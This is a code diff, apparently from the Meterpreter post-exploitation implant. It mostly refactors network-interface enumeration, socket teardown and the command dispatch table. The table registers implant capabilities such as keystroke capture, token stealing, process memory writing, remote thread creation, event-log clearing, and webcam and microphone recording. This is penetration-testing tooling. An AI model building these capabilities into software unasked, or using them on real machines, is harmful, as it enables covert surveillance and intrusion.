// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
// value, which is 72 in XP without an SP, but 144 in later versions.
if (pCurr->Length > 72) {
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
pPrefix = pCurr->FirstPrefix;
}
for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next)
for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress;
pAddr; pAddr = pAddr->Next)
{
sockaddr = pAddr->Address.lpSockaddr;
if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) {
@ -202,33 +223,26 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// for scope_id, one for netmask. Go ahead and allocate enough
// room for all of them.
if (allocd_entries < tlv_cnt+3) {
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
entries = (Tlv*)realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
allocd_entries += 3;
}
if (pAddr->Length > 44) {
if (v.dwMajorVersion >= 6) {
// Then this is Vista+ and the OnLinkPrefixLength member
// will be populated
dprintf( "[INTERFACES] >= Vista, using prefix: %x", pAddr->OnLinkPrefixLength );
prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength);
}
if (pPrefix && 0 == prefixes[prefixes_cnt] ) {
// Otherwise, we have to walk the FirstPrefix linked list
else if( pPrefix ) {
dprintf( "[INTERFACES] < Vista, using prefix: %x", pPrefix->PrefixLength );
prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength);
pPrefix = pPrefix->Next;
} else {
// This is XP SP0 and as far as I can tell, we have no way
// of determining the netmask short of bailing on
// this method and falling back to MIB, which doesn't
// return IPv6 addresses. Older versions (e.g. NT4, 2k)
// don't have GetAdapterAddresses, so they will have fallen
// through earlier to the MIB implementation.
free(entries);
free(pAdapters);
return get_interfaces_windows_mib(remote, response);
dprintf( "[INTERFACES] < Vista, no prefix" );
prefixes[prefixes_cnt] = 0;
}
if (prefixes[prefixes_cnt]) {
dprintf( "[INTERFACE] Adding Prefix: %x", prefixes[prefixes_cnt] );
entries[tlv_cnt].header.length = 4;
entries[tlv_cnt].header.type = TLV_TYPE_IP_PREFIX;
entries[tlv_cnt].buffer = (PUCHAR)&prefixes[prefixes_cnt];
@ -237,12 +251,13 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
}
if (sockaddr->sa_family == AF_INET) {
dprintf( "[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr );
entries[tlv_cnt].header.length = 4;
entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
tlv_cnt++;
} else {
dprintf( "[INTERFACE] Adding IPv6 Address" );
entries[tlv_cnt].header.length = 16;
entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);

View File

@ -328,7 +328,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify);
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
}
} while (0);
@ -375,7 +375,7 @@ VOID free_socket_context(SocketContext *ctx)
{
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
// The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_remove_waitable(ctx->notify);
scheduler_signal_waitable(ctx->notify, Stop);
ctx->notify = NULL;
}

View File

@ -27,7 +27,7 @@ VOID free_tcp_server_context( TcpServerContext * ctx )
if( ctx->notify )
{
scheduler_remove_waitable( ctx->notify );
scheduler_signal_waitable( ctx->notify, Stop );
ctx->notify = NULL;
}
@ -105,7 +105,7 @@ TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverct
if( !clientctx->channel )
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE );
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify );
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL );
} while( 0 );
@ -266,7 +266,7 @@ DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet )
if( !ctx->channel )
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_server_notify );
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL );
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) );

View File

@ -129,7 +129,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
{
dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify );
// The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_remove_waitable( ctx->sock.notify );
scheduler_signal_waitable( ctx->sock.notify, Stop );
ctx->sock.notify = NULL;
}
@ -323,7 +323,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
if( !ctx->sock.channel )
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
scheduler_insert_waitable( ctx->sock.notify, ctx, (WaitableNotifyRoutine)udp_channel_notify );
scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) );

View File

@ -64,6 +64,7 @@
#include "net/net.h"
#include "ui/ui.h"
#include "webcam/webcam.h"
#include "webcam/audio.h"
#ifdef _WIN32
#include "railgun/railgun.h" // PKS, win32 specific at the moment.

View File

@ -21,321 +21,104 @@ extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
Command customCommands[] =
{
// General
{ "core_channel_open",
{ request_general_channel_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "core_channel_open", request_general_channel_open ),
#ifdef WIN32
// Railgun
{ "stdapi_railgun_api",
{ request_railgun_api, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_api_multi",
{ request_railgun_api_multi, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_memread",
{ request_railgun_memread, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_railgun_memwrite",
{ request_railgun_memwrite, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_railgun_api", request_railgun_api ),
COMMAND_REQ( "stdapi_railgun_api_multi", request_railgun_api_multi ),
COMMAND_REQ( "stdapi_railgun_memread", request_railgun_memread ),
COMMAND_REQ( "stdapi_railgun_memwrite", request_railgun_memwrite ),
#endif
// Fs
{ "stdapi_fs_ls",
{ request_fs_ls, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_getwd",
{ request_fs_getwd, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_chdir",
{ request_fs_chdir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_mkdir",
{ request_fs_mkdir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_delete_dir",
{ request_fs_delete_dir, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_delete_file",
{ request_fs_delete_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_separator",
{ request_fs_separator, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_stat",
{ request_fs_stat, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_file_expand_path",
{ request_fs_file_expand_path, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_file_move",
{ request_fs_file_move, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_fs_ls", request_fs_ls ),
COMMAND_REQ( "stdapi_fs_getwd", request_fs_getwd ),
COMMAND_REQ( "stdapi_fs_chdir", request_fs_chdir ),
COMMAND_REQ( "stdapi_fs_mkdir", request_fs_mkdir ),
COMMAND_REQ( "stdapi_fs_delete_dir", request_fs_delete_dir ),
COMMAND_REQ( "stdapi_fs_delete_file", request_fs_delete_file ),
COMMAND_REQ( "stdapi_fs_separator", request_fs_separator ),
COMMAND_REQ( "stdapi_fs_stat", request_fs_stat ),
COMMAND_REQ( "stdapi_fs_file_expand_path", request_fs_file_expand_path ),
COMMAND_REQ( "stdapi_fs_file_move", request_fs_file_move ),
COMMAND_REQ( "stdapi_fs_md5", request_fs_md5 ),
COMMAND_REQ( "stdapi_fs_sha1", request_fs_sha1 ),
#ifdef _WIN32
{ "stdapi_fs_search",
{ request_fs_search, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_fs_search", request_fs_search ),
#endif
{ "stdapi_fs_md5",
{ request_fs_md5, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_fs_sha1",
{ request_fs_sha1, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Process
{ "stdapi_sys_process_attach",
{ request_sys_process_attach, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_close",
{ request_sys_process_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_execute",
{ request_sys_process_execute, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_kill",
{ request_sys_process_kill, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_get_processes",
{ request_sys_process_get_processes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_getpid",
{ request_sys_process_getpid, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_get_info",
{ request_sys_process_get_info, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_wait",
{ request_sys_process_wait, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_process_attach", request_sys_process_attach ),
COMMAND_REQ( "stdapi_sys_process_close", request_sys_process_close ),
COMMAND_REQ( "stdapi_sys_process_execute", request_sys_process_execute ),
COMMAND_REQ( "stdapi_sys_process_kill", request_sys_process_kill ),
COMMAND_REQ( "stdapi_sys_process_get_processes", request_sys_process_get_processes ),
COMMAND_REQ( "stdapi_sys_process_getpid", request_sys_process_getpid ),
COMMAND_REQ( "stdapi_sys_process_get_info", request_sys_process_get_info ),
COMMAND_REQ( "stdapi_sys_process_wait", request_sys_process_wait ),
#ifdef _WIN32
// Image
{ "stdapi_sys_process_image_load",
{ request_sys_process_image_load, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_get_proc_address",
{ request_sys_process_image_get_proc_address, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_unload",
{ request_sys_process_image_unload, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_image_get_images",
{ request_sys_process_image_get_images, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Image
COMMAND_REQ( "stdapi_sys_process_image_load", request_sys_process_image_load ),
COMMAND_REQ( "stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address ),
COMMAND_REQ( "stdapi_sys_process_image_unload", request_sys_process_image_unload ),
COMMAND_REQ( "stdapi_sys_process_image_get_images", request_sys_process_image_get_images ),
// Memory
{ "stdapi_sys_process_memory_allocate",
{ request_sys_process_memory_allocate, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_free",
{ request_sys_process_memory_free, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_read",
{ request_sys_process_memory_read, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_write",
{ request_sys_process_memory_write, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_query",
{ request_sys_process_memory_query, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_protect",
{ request_sys_process_memory_protect, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_lock",
{ request_sys_process_memory_lock, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_memory_unlock",
{ request_sys_process_memory_unlock, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Thread
{ "stdapi_sys_process_thread_open",
{ request_sys_process_thread_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_create",
{ request_sys_process_thread_create, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_close",
{ request_sys_process_thread_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_get_threads",
{ request_sys_process_thread_get_threads, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_suspend",
{ request_sys_process_thread_suspend, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_resume",
{ request_sys_process_thread_resume, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_terminate",
{ request_sys_process_thread_terminate, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_query_regs",
{ request_sys_process_thread_query_regs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_process_thread_set_regs",
{ request_sys_process_thread_set_regs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Memory
COMMAND_REQ( "stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate ),
COMMAND_REQ( "stdapi_sys_process_memory_free", request_sys_process_memory_free ),
COMMAND_REQ( "stdapi_sys_process_memory_read", request_sys_process_memory_read ),
COMMAND_REQ( "stdapi_sys_process_memory_write", request_sys_process_memory_write ),
COMMAND_REQ( "stdapi_sys_process_memory_query", request_sys_process_memory_query ),
COMMAND_REQ( "stdapi_sys_process_memory_protect", request_sys_process_memory_protect ),
COMMAND_REQ( "stdapi_sys_process_memory_lock", request_sys_process_memory_lock ),
COMMAND_REQ( "stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock ),
// Thread
COMMAND_REQ( "stdapi_sys_process_thread_open", request_sys_process_thread_open ),
COMMAND_REQ( "stdapi_sys_process_thread_create", request_sys_process_thread_create ),
COMMAND_REQ( "stdapi_sys_process_thread_close", request_sys_process_thread_close ),
COMMAND_REQ( "stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads ),
COMMAND_REQ( "stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend ),
COMMAND_REQ( "stdapi_sys_process_thread_resume", request_sys_process_thread_resume ),
COMMAND_REQ( "stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate ),
COMMAND_REQ( "stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs ),
COMMAND_REQ( "stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs ),
// Registry
{ "stdapi_registry_load_key",
{ request_registry_load_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_unload_key",
{ request_registry_unload_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_open_key",
{ request_registry_open_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_open_remote_key",
{ request_registry_open_remote_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_create_key",
{ request_registry_create_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_enum_key",
{ request_registry_enum_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_delete_key",
{ request_registry_delete_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_close_key",
{ request_registry_close_key, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_set_value",
{ request_registry_set_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_query_value",
{ request_registry_query_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_query_class",
{ request_registry_query_class, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_enum_value",
{ request_registry_enum_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_registry_delete_value",
{ request_registry_delete_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_registry_load_key", request_registry_load_key ),
COMMAND_REQ( "stdapi_registry_unload_key", request_registry_unload_key ),
COMMAND_REQ( "stdapi_registry_open_key", request_registry_open_key ),
COMMAND_REQ( "stdapi_registry_open_remote_key", request_registry_open_remote_key ),
COMMAND_REQ( "stdapi_registry_create_key", request_registry_create_key ),
COMMAND_REQ( "stdapi_registry_enum_key", request_registry_enum_key ),
COMMAND_REQ( "stdapi_registry_delete_key", request_registry_delete_key ),
COMMAND_REQ( "stdapi_registry_close_key", request_registry_close_key ),
COMMAND_REQ( "stdapi_registry_set_value", request_registry_set_value ),
COMMAND_REQ( "stdapi_registry_query_value", request_registry_query_value ),
COMMAND_REQ( "stdapi_registry_query_class", request_registry_query_class ),
COMMAND_REQ( "stdapi_registry_enum_value", request_registry_enum_value ),
COMMAND_REQ( "stdapi_registry_delete_value", request_registry_delete_value ),
#endif
// Sys/config
{ "stdapi_sys_config_getuid",
{ request_sys_config_getuid, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_sysinfo",
{ request_sys_config_sysinfo, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_rev2self",
{ request_sys_config_rev2self, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_getprivs",
{ request_sys_config_getprivs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_config_getuid", request_sys_config_getuid ),
COMMAND_REQ( "stdapi_sys_config_sysinfo", request_sys_config_sysinfo ),
COMMAND_REQ( "stdapi_sys_config_rev2self", request_sys_config_rev2self ),
COMMAND_REQ( "stdapi_sys_config_getprivs", request_sys_config_getprivs ),
#ifdef _WIN32
{ "stdapi_sys_config_steal_token",
{ request_sys_config_steal_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_drop_token",
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_config_steal_token", request_sys_config_steal_token ),
COMMAND_REQ( "stdapi_sys_config_drop_token", request_sys_config_drop_token ),
#endif
// Net
{ "stdapi_net_config_get_routes",
{ request_net_config_get_routes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_add_route",
{ request_net_config_add_route, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_remove_route",
{ request_net_config_remove_route, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_interfaces",
{ request_net_config_get_interfaces, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_arp_table",
{ request_net_config_get_arp_table, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_config_get_netstat",
{ request_net_config_get_netstat, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_net_config_get_routes", request_net_config_get_routes ),
COMMAND_REQ( "stdapi_net_config_add_route", request_net_config_add_route ),
COMMAND_REQ( "stdapi_net_config_remove_route", request_net_config_remove_route ),
COMMAND_REQ( "stdapi_net_config_get_interfaces", request_net_config_get_interfaces ),
COMMAND_REQ( "stdapi_net_config_get_arp_table", request_net_config_get_arp_table ),
COMMAND_REQ( "stdapi_net_config_get_netstat", request_net_config_get_netstat ),
#ifdef WIN32
{ "stdapi_net_config_get_proxy",
@ -343,129 +126,48 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
// Resolve
{ "stdapi_net_resolve_host",
{ request_resolve_host, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_net_resolve_hosts",
{ request_resolve_hosts, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_net_resolve_host", request_resolve_host ),
COMMAND_REQ( "stdapi_net_resolve_hosts", request_resolve_hosts ),
#endif
// Socket
{ "stdapi_net_socket_tcp_shutdown",
{ request_net_socket_tcp_shutdown, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown ),
#ifdef _WIN32
// UI
{ "stdapi_ui_enable_mouse",
{ request_ui_enable_mouse, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_enable_keyboard",
{ request_ui_enable_keyboard, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_get_idle_time",
{ request_ui_get_idle_time, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_start_keyscan",
{ request_ui_start_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_stop_keyscan",
{ request_ui_stop_keyscan, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_get_keys",
{ request_ui_get_keys, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_enum",
{ request_ui_desktop_enum, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_get",
{ request_ui_desktop_get, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_set",
{ request_ui_desktop_set, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_ui_desktop_screenshot",
{ request_ui_desktop_screenshot, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_ui_enable_mouse", request_ui_enable_mouse ),
COMMAND_REQ( "stdapi_ui_enable_keyboard", request_ui_enable_keyboard ),
COMMAND_REQ( "stdapi_ui_get_idle_time", request_ui_get_idle_time ),
COMMAND_REQ( "stdapi_ui_start_keyscan", request_ui_start_keyscan ),
COMMAND_REQ( "stdapi_ui_stop_keyscan", request_ui_stop_keyscan ),
COMMAND_REQ( "stdapi_ui_get_keys", request_ui_get_keys ),
COMMAND_REQ( "stdapi_ui_desktop_enum", request_ui_desktop_enum ),
COMMAND_REQ( "stdapi_ui_desktop_get", request_ui_desktop_get ),
COMMAND_REQ( "stdapi_ui_desktop_set", request_ui_desktop_set ),
COMMAND_REQ( "stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot ),
// Event Log
{ "stdapi_sys_eventlog_open",
{ request_sys_eventlog_open, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_numrecords",
{ request_sys_eventlog_numrecords, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_read",
{ request_sys_eventlog_read, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_oldest",
{ request_sys_eventlog_oldest, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_clear",
{ request_sys_eventlog_clear, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_eventlog_close",
{ request_sys_eventlog_close, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "stdapi_sys_eventlog_open", request_sys_eventlog_open ),
COMMAND_REQ( "stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords ),
COMMAND_REQ( "stdapi_sys_eventlog_read", request_sys_eventlog_read ),
COMMAND_REQ( "stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest ),
COMMAND_REQ( "stdapi_sys_eventlog_clear", request_sys_eventlog_clear ),
COMMAND_REQ( "stdapi_sys_eventlog_close", request_sys_eventlog_close ),
{ "stdapi_sys_power_exitwindows",
{ request_sys_power_exitwindows, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Power
COMMAND_REQ( "stdapi_sys_power_exitwindows", request_sys_power_exitwindows ),
// Webcam
{ "webcam_list",
{ request_webcam_list, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_start",
{ request_webcam_start, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_get_frame",
{ request_webcam_get_frame, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_stop",
{ request_webcam_stop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "webcam_list", request_webcam_list ),
COMMAND_REQ( "webcam_start", request_webcam_start ),
COMMAND_REQ( "webcam_get_frame", request_webcam_get_frame ),
COMMAND_REQ( "webcam_stop", request_webcam_stop ),
// Audio
{ "webcam_audio_record",
{ request_ui_record_mic, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "webcam_audio_record", request_ui_record_mic ),
#endif
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_TERMINATOR
};
/*
@ -481,15 +183,7 @@ DWORD InitServerExtension(Remote *remote)
#ifdef _WIN32
hMetSrv = remote->hMetSrv;
#endif
for (index = 0;
customCommands[index].method;
index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -503,12 +197,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
DWORD DeinitServerExtension(Remote *remote)
#endif
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -176,6 +176,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL;
LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
HMODULE hUserEnvLib = NULL;
ProcessChannelContext * ctx = NULL;
dprintf( "[PROCESS] request_sys_process_execute" );
@ -258,7 +259,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
@ -272,6 +272,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
dprintf( "[PROCESS] context address 0x%p", ctx );
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
@ -559,6 +560,15 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// failed but return a process id and this will throw off the ruby side.
if( result == ERROR_SUCCESS )
{
// if we managed to successfully create a channelized process, we need to retain
// a handle to it so that we can shut it down externally if required.
if ( flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
&& ctx != NULL )
{
dprintf( "[PROCESS] started process 0x%x", pi.hProcess );
ctx->pProcess = pi.hProcess;
}
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
@ -600,6 +610,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
int idx, i;
pid_t pid;
int have_pty = -1;
ProcessChannelContext * ctx = NULL;
int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);
